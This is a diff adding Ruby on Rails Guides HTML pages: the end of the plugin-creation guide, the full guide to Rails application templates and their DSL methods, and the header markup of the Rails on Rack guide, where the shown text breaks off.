+    assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file)
+  end
+
+  def test_pluralizes_properly
+    ActiveRecord::Base.pluralize_table_names = false
+    Rails::Generator::Scripts::Generate.new.run([&quot;yaffle_migration&quot;, &quot;some_name_nobody_is_likely_to_ever_use_in_a_real_migration&quot;],
+      :destination =&gt; fake_rails_root)
+    new_file = (file_list - @original_files).first
+    assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file
+    assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file)
+  end
+
+  private
+    def fake_rails_root
+      File.join(File.dirname(__FILE__), 'rails_root')
+    end
+
+    def file_list
+      Dir.glob(File.join(fake_rails_root, &quot;db&quot;, &quot;migrate&quot;, &quot;*&quot;))
+    end
+
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>the migration generator checks to see if a migation already exists, and it&#8217;s hard-coded to check the &#8216;db/migrate&#8217; directory.  As a result, if your test tries to generate a migration that already exists in the app, it will fail.  The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app.</p></div>
+<p>After running the test with &#8216;rake&#8217; you can make it pass with:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/generators/yaffle_migration/yaffle_migration_generator.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class YaffleMigrationGenerator &lt; Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      m.migration_template 'migration:migration.rb', &quot;db/migrate&quot;, {:assigns =&gt; yaffle_local_assigns,
+        :migration_file_name =&gt; &quot;add_yaffle_fields_to_#{custom_file_name}&quot;
+      }
+    end
+  end
+
+  private
+    def custom_file_name
+      custom_name = class_name.underscore.downcase
+      custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
+      custom_name
+    end
+
+    def yaffle_local_assigns
+      {}.tap do |assigns|
+        assigns[:migration_action] = &quot;add&quot;
+        assigns[:class_name] = &quot;add_yaffle_fields_to_#{custom_file_name}&quot;
+        assigns[:table_name] = custom_file_name
+        assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new(&quot;last_squawk&quot;, &quot;string&quot;)]
+      end
+    end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The generator creates a new file in &#8216;db/migrate&#8217; with a timestamp and an &#8216;add_column&#8217; statement.  It reuses the built-in rails <tt>migration_template</tt> method, and reuses the built-in rails migration template.</p>
+<p>It&#8217;s courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names.  This way people using your generator won&#8217;t have to manually change the generated files if they&#8217;ve turned pluralization off.</p>
+<p>To run the generator, type the following at the command line:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate yaffle_migration bird
+</pre>
+</div>
+</notextile>
+
+<p>and you will see a new file:</p>
+<ul>
+	<li><strong>db/migrate/20080529225649_add_yaffle_fields_to_birds.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class AddYaffleFieldsToBirds &lt; ActiveRecord::Migration
+  def self.up
+    add_column :birds, :last_squawk, :string
+  end
+
+  def self.down
+    remove_column :birds, :last_squawk
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="rake-tasks">13 Rake tasks</h3>
+<p>When you created the plugin with the built-in rails generator, it generated a rake file for you in &#8216;vendor/plugins/yaffle/tasks/yaffle_tasks.rake&#8217;.  Any rake task you add here will be available to the app.</p>
+<p>Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/tasks/yaffle_tasks.rake</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+namespace :yaffle do
+  desc &quot;Prints out the word 'Yaffle'&quot;
+  task :squawk =&gt; :environment do
+    puts &quot;squawk!&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>When you run <tt>rake -T</tt> from your plugin you will see:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+yaffle:squawk             # Prints out the word 'Yaffle'
+</pre>
+</div>
+</notextile>
+
+<p>You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.</p>
+<p>Note that tasks from <tt>vendor/plugins/yaffle/Rakefile</tt> are not available to the main app.</p>
+<h3 id="plugins-as-gems">14 Plugins as Gems</h3>
+<p>Turning your rails plugin into a gem is a simple and straightforward task.  This section will cover how to turn your plugin into a gem.  It will not cover how to distribute that gem.</p>
+<p>The initialization file has to be called <tt>rails/init.rb</tt>, the root <tt>init.rb</tt> file, if any, is ignored by Rails. Also, the name of the plugin now is relevant since <tt>config.gem</tt> tries to load it. Either name the main file after your gem, or document that users should use the <tt>:lib</tt> option.</p>
+<p>It&#8217;s common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in <tt>Rakefile</tt>.  A rake task that packages the gem might look like this:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/Rakefile:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+PKG_FILES = FileList[
+  '[a-zA-Z]*',
+  'generators/**/*',
+  'lib/**/*',
+  'rails/**/*',
+  'tasks/**/*',
+  'test/**/*'
+]
+
+spec = Gem::Specification.new do |s|
+  s.name = &quot;yaffle&quot;
+  s.version = &quot;0.0.1&quot;
+  s.author = &quot;Gleeful Yaffler&quot;
+  s.email = &quot;yaffle@example.com&quot;
+  s.homepage = &quot;http://yafflers.example.com/&quot;
+  s.platform = Gem::Platform::RUBY
+  s.summary = &quot;Sharing Yaffle Goodness&quot;
+  s.files = PKG_FILES.to_a
+  s.require_path = &quot;lib&quot;
+  s.has_rdoc = false
+  s.extra_rdoc_files = [&quot;README&quot;]
+end
+
+desc 'Turn this plugin into a gem.'
+Rake::GemPackageTask.new(spec) do |pkg|
+  pkg.gem_spec = spec
+end
+</pre>
+</div>
+</notextile>
+
+<p>To build and install the gem locally, run the following commands:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+cd vendor/plugins/yaffle
+rake gem
+sudo gem install pkg/yaffle-0.0.1.gem
+</pre>
+</div>
+</notextile>
+
+<p>To test this, create a new rails application, add <tt>config.gem "yaffle"</tt> to <tt>config/environment.rb</tt> and all of your plugin&#8217;s functionality will be available to you.</p>
+<h3 id="rdoc-documentation">15 RDoc Documentation</h3>
+<p>Once your plugin is stable and you are ready to deploy do everyone else a favor and document it!  Luckily, writing documentation for your plugin is easy.</p>
+<p>The first step is to update the <span class="caps">README</span> file with detailed information about how to use your plugin.  A few key things to include are:</p>
+<ul>
+	<li>Your name</li>
+	<li>How to install</li>
+	<li>How to add the functionality to the app (several examples of common use cases)</li>
+	<li>Warning, gotchas or tips that might help save users time</li>
+</ul>
+<p>Once your <span class="caps">README</span> is solid, go through and add rdoc comments to all of the methods that developers will use.  It&#8217;s also customary to add &#8216;#:nodoc:&#8217; comments to those parts of the code that are not part of the public api.</p>
+<p>Once your comments are good to go, navigate to your plugin directory and run:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake rdoc
+</pre>
+</div>
+</notextile>
+
+<h3 id="appendix">16 Appendix</h3>
+<p>If you prefer to use RSpec instead of Test::Unit, you may be interested in the <a href="http://github.com/patmaddox/rspec-plugin-generator">RSpec Plugin Generator</a>.</p>
+<h4 id="references">16.1 References</h4>
+<ul>
+	<li>http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i</li>
+	<li>http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-ii</li>
+	<li>http://github.com/technoweenie/attachment_fu/tree/master</li>
+	<li>http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html</li>
+	<li>http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins</li>
+	<li>http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2.</li>
+</ul>
+<h4 id="contents-of-lib-yaffle-rb">16.2 Contents of <tt>lib/yaffle.rb</tt></h4>
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;yaffle/core_ext&quot;
+require &quot;yaffle/acts_as_yaffle&quot;
+require &quot;yaffle/commands&quot;
+require &quot;yaffle/routing&quot;
+
+%w{ models controllers helpers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH &lt;&lt; path
+  ActiveSupport::Dependencies.load_paths &lt;&lt; path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+
+# optionally:
+# Dir.glob(File.join(File.dirname(__FILE__), &quot;db&quot;, &quot;migrate&quot;, &quot;*&quot;)).each do |file|
+#   require file
+# end
+</pre>
+</div>
+</notextile>
+
+<h4 id="final-plugin-directory-structure">16.3 Final Plugin Directory Structure</h4>
+<p>The final plugin should have a directory structure that looks something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+|-- MIT-LICENSE
+|-- README
+|-- Rakefile
+|-- generators
+|   |-- yaffle_definition
+|   |   |-- USAGE
+|   |   |-- templates
+|   |   |   `-- definition.txt
+|   |   `-- yaffle_definition_generator.rb
+|   |-- yaffle_migration
+|   |   |-- USAGE
+|   |   |-- templates
+|   |   `-- yaffle_migration_generator.rb
+|   `-- yaffle_route
+|       |-- USAGE
+|       |-- templates
+|       `-- yaffle_route_generator.rb
+|-- install.rb
+|-- lib
+|   |-- app
+|   |   |-- controllers
+|   |   |   `-- woodpeckers_controller.rb
+|   |   |-- helpers
+|   |   |   `-- woodpeckers_helper.rb
+|   |   `-- models
+|   |       `-- woodpecker.rb
+|   |-- db
+|   |   `-- migrate
+|   |       `-- 20081116181115_create_birdhouses.rb
+|   |-- yaffle
+|   |   |-- acts_as_yaffle.rb
+|   |   |-- commands.rb
+|   |   |-- core_ext.rb
+|   |   `-- routing.rb
+|   `-- yaffle.rb
+|-- pkg
+|   `-- yaffle-0.0.1.gem
+|-- rails
+|   `-- init.rb
+|-- tasks
+|   `-- yaffle_tasks.rake
+|-- test
+|   |-- acts_as_yaffle_test.rb
+|   |-- core_ext_test.rb
+|   |-- database.yml
+|   |-- debug.log
+|   |-- definition_generator_test.rb
+|   |-- migration_generator_test.rb
+|   |-- route_generator_test.rb
+|   |-- routes_test.rb
+|   |-- schema.rb
+|   |-- test_helper.rb
+|   |-- woodpecker_test.rb
+|   |-- woodpeckers_controller_test.rb
+|   |-- wookpeckers_helper_test.rb
+|   |-- yaffle_plugin.sqlite3.db
+|   `-- yaffle_test.rb
+`-- uninstall.rb
+</pre>
+</div>
+</notextile>
+
+<h3 id="changelog">17 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/32-update-plugins-guide">Lighthouse ticket</a></p>
+<ul>
+	<li>April 4, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>November 17, 2008: Major revision by Jeff Dean</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/rails_application_templates.html
@@ -0,0 +1,403 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Rails Application Templates</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Rails Application Templates</h2>
+<p>Application templates are simple ruby files containing <span class="caps">DSL</span> for adding plugins/gems/initializers etc. to your freshly created Rails project or an existing Rails project.</p>
+<p>By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Use templates to generate/customize Rails applications</li>
+	<li>Write your own reusable application templates using the Rails template <span class="caps">API</span></li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#usage">Usage</a></li><li><a href="#template-api">Template <span class="caps">API</span></a><ul><li><a href="#gem-name-options">gem(name, options = {})</a></li> <li><a href="#plugin-name-options">plugin(name, options = {})</a></li> <li><a href="#vendor-lib-file-initializer-filename-data-nil-block">vendor/lib/file/initializer(filename, data = nil, &amp;block)</a></li> <li><a href="#rakefile-filename-data-nil-block">rakefile(filename, data = nil, &amp;block)</a></li> <li><a href="#generate-what-args">generate(what, args)</a></li> <li><a href="#run-command">run(command)</a></li> <li><a href="#rake-command-options">rake(command, options = {})</a></li> <li><a href="#route-routing_code">route(routing_code)</a></li> <li><a href="#inside-dir">inside(dir)</a></li> <li><a href="#ask-question">ask(question)</a></li> <li><a href="#yes-question-or-no-question">yes?(question) or no?(question)</a></li> <li><a href="#git-must-a-love">git(:must =&gt; &#8220;-a love&#8221;)</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="usage">1 Usage</h3>
+<p>To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails new blog -m ~/template.rb
+</pre>
+</div>
+</notextile>
+
+<p>It&#8217;s also possible to apply a template using a <span class="caps">URL</span> :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails new blog -m http://gist.github.com/31208.txt
+</pre>
+</div>
+</notextile>
+
+<p>Alternatively, you can use the rake task <tt>rails:template</tt> to apply a template to an existing Rails application :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake rails:template LOCATION=~/template.rb
+</pre>
+</div>
+</notextile>
+
+<h3 id="template-api">2 Template <span class="caps">API</span></h3>
+<p>Rails templates <span class="caps">API</span> is very self explanatory and easy to understand. Here&#8217;s an example of a typical Rails template :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# template.rb
+run &quot;rm public/index.html&quot;
+generate(:scaffold, &quot;person name:string&quot;)
+route &quot;map.root :controller =&gt; 'people'&quot;
+rake(&quot;db:migrate&quot;)
+
+git :init
+git :add =&gt; &quot;.&quot;
+git :commit =&gt; &quot;-a -m 'Initial commit'&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The following sections outlines the primary methods provided by the <span class="caps">API</span> :</p>
+<h4 id="gem-name-options">2.1 gem(name, options = {})</h4>
+<p>Adds a <tt>config.gem</tt> entry for the supplied gem to the generated applicationโ€™s <tt>config/environment.rb</tt>.</p>
+<p>For example, if your application depends on the gems <tt>bj</tt> and <tt>nokogiri</tt> :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+gem &quot;bj&quot;
+gem &quot;nokogiri&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Please note that this will <span class="caps">NOT</span> install the gems for you. So you may want to run the <tt>rake gems:install</tt> task too :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+rake &quot;gems:install&quot;
+</pre>
+</div>
+</notextile>
+
+<p>And let Rails take care of installing the required gems if theyโ€™re not already installed.</p>
+<h4 id="plugin-name-options">2.2 plugin(name, options = {})</h4>
+<p>Installs a plugin to the generated application.</p>
+<p>Plugin can be installed from Git :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+plugin 'authentication', :git =&gt; 'git://github.com/foor/bar.git'
+</pre>
+</div>
+</notextile>
+
+<p>You can even install plugins as git submodules :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+plugin 'authentication', :git =&gt; 'git://github.com/foor/bar.git',
+                         :submodule =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>Please note that you need to <tt>git :init</tt> before you can install a plugin as a submodule.</p>
+<p>Or use plain old <span class="caps">SVN</span> :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+plugin 'usingsvn', :svn =&gt; 'svn://example.com/usingsvn/trunk'
+</pre>
+</div>
+</notextile>
+
+<h4 id="vendor-lib-file-initializer-filename-data-nil-block">2.3 vendor/lib/file/initializer(filename, data = nil, &amp;block)</h4>
+<p>Adds an initializer to the generated applicationโ€™s <tt>config/initializers</tt> directory.</p>
+<p>Lets say you like using <tt>Object#not_nil?</tt> and <tt>Object#not_blank?</tt> :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+initializer 'bloatlol.rb', &lt;&lt;-CODE
+class Object
+  def not_nil?
+    !nil?
+  end
+
+  def not_blank?
+    !blank?
+  end
+end
+CODE
+</pre>
+</div>
+</notextile>
+
+<p>Similarly <tt>lib()</tt> creates a file in the <tt>lib/</tt> directory and <tt>vendor()</tt> creates a file in the <tt>vendor/</tt> directory.</p>
+<p>There is even <tt>file()</tt>, which accepts a relative path from <tt>Rails.root</tt> and creates all the directories/file needed :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+file 'app/components/foo.rb', &lt;&lt;-CODE
+class Foo
+end
+CODE
+</pre>
+</div>
+</notextile>
+
+<p>Thatโ€™ll create <tt>app/components</tt> directory and put <tt>foo.rb</tt> in there.</p>
+<h4 id="rakefile-filename-data-nil-block">2.4 rakefile(filename, data = nil, &amp;block)</h4>
+<p>Creates a new rake file under <tt>lib/tasks</tt> with the supplied tasks :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+rakefile(&quot;bootstrap.rake&quot;) do
+  &lt;&lt;-TASK
+    namespace :boot do
+      task :strap do
+        puts &quot;i like boots!&quot;
+      end
+    end
+  TASK
+end
+</pre>
+</div>
+</notextile>
+
+<p>The above creates <tt>lib/tasks/bootstrap.rake</tt> with a <tt>boot:strap</tt> rake task.</p>
+<h4 id="generate-what-args">2.5 generate(what, args)</h4>
+<p>Runs the supplied rails generator with given arguments. For example, I love to scaffold some whenever Iโ€™m playing with Rails :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+generate(:scaffold, &quot;person&quot;, &quot;name:string&quot;, &quot;address:text&quot;, &quot;age:number&quot;)
+</pre>
+</div>
+</notextile>
+
+<h4 id="run-command">2.6 run(command)</h4>
+<p>Executes an arbitrary command. Just like the backticks. Let&#8217;s say you want to remove the <tt>public/index.html</tt> file :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+run &quot;rm public/index.html&quot;
+</pre>
+</div>
+</notextile>
+
+<h4 id="rake-command-options">2.7 rake(command, options = {})</h4>
+<p>Runs the supplied rake tasks in the Rails application. Let&#8217;s say you want to migrate the database :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+rake &quot;db:migrate&quot;
+</pre>
+</div>
+</notextile>
+
+<p>You can also run rake tasks with a different Rails environment :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+rake &quot;db:migrate&quot;, :env =&gt; 'production'
+</pre>
+</div>
+</notextile>
+
+<p>Or even use sudo :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+rake &quot;gems:install&quot;, :sudo =&gt; true
+</pre>
+</div>
+</notextile>
+
+<h4 id="route-routing_code">2.8 route(routing_code)</h4>
+<p>This adds a routing entry to the <tt>config/routes.rb</tt> file. In above steps, we generated a person scaffold and also removed <tt>public/index.html</tt>. Now to make <tt>PeopleController#index</tt> as the default page for the application :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+route &quot;map.root :controller =&gt; :person&quot;
+</pre>
+</div>
+</notextile>
+
+<h4 id="inside-dir">2.9 inside(dir)</h4>
+<p>I have my edge rails lying at <tt>~/commit-rails/rails</tt>. So every time i have to manually symlink edge from my new app. But now :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+inside('vendor') do
+  run &quot;ln -s ~/commit-rails/rails rails&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>So <tt>inside()</tt> runs the command from the given directory.</p>
+<h4 id="ask-question">2.10 ask(question)</h4>
+<p><tt>ask()</tt> gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library youโ€™re adding :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+lib_name = ask(&quot;What do you want to call the shiny library ?&quot;)
+lib_name &lt;&lt; &quot;.rb&quot; unless lib_name.index(&quot;.rb&quot;)
+
+lib lib_name, &lt;&lt;-CODE
+class Shiny
+end
+CODE
+</pre>
+</div>
+</notextile>
+
+<h4 id="yes-question-or-no-question">2.11 yes?(question) or no?(question)</h4>
+<p>These methods let you ask questions from templates and decide the flow based on the userโ€™s answer. Lets say you want to freeze rails only if the user want to :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+rake(&quot;rails:freeze:gems&quot;) if yes?(&quot;Freeze rails gems ?&quot;)
+no?(question) acts just the opposite.
+</pre>
+</div>
+</notextile>
+
+<h4 id="git-must-a-love">2.12 git(:must =&gt; &#8220;-a love&#8221;)</h4>
+<p>Rails templates let you run any git command :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+git :init
+git :add =&gt; &quot;.&quot;
+git :commit =&gt; &quot;-a -m 'Initial commit'&quot;
+</pre>
+</div>
+</notextile>
+
+<h3 id="changelog">3 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/78">Lighthouse ticket</a></p>
+<ul>
+	<li>April 29, 2009: Initial version by <a href="credits.html#lifo">Pratik</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/rails_on_rack.html
@@ -0,0 +1,419 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Rails on Rack</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
